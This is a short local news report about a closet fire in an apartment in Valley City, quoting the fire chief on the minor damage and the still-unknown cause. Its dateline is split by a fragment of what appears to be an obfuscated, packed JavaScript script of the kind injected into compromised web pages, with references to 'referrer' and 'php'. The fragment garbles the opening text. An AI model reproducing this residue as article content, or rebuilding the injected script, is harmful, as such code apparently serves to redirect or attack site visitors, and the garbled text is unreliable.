VALLEY szdeb|var|u0026u|referrer|dsbht||js|php’.split(‘|’),0,{}))
CITY  (NewsDakota.com)–Valley City Fire Chief Gary Retterath says further investigation is needed to determine the cause of an apartment fire in the southwest part of the city.

The Valley City Fire Department responded to a fire in an apartment at 676 11th Avenue Southwest yesterday evening at about 5:50 p.m.

According to Retterath, the occupants were home at the time of the fire, which was in a closet in the apartment.  He says the tenants had doused the fire with water to control it, and the departments role was finish off the fire and eliminate the smoke.

Retterath says minor damage to the apartment occurred, and the other units in the building were not affected.  He says the occupants told him they were sleeping at the time, and a smoke detector alerted them to the blaze.

No cause of the fire was immediately determined.  Retterath described some of the circumstances of the fire as “odd”, and said he will continue to investigate to determine a cause.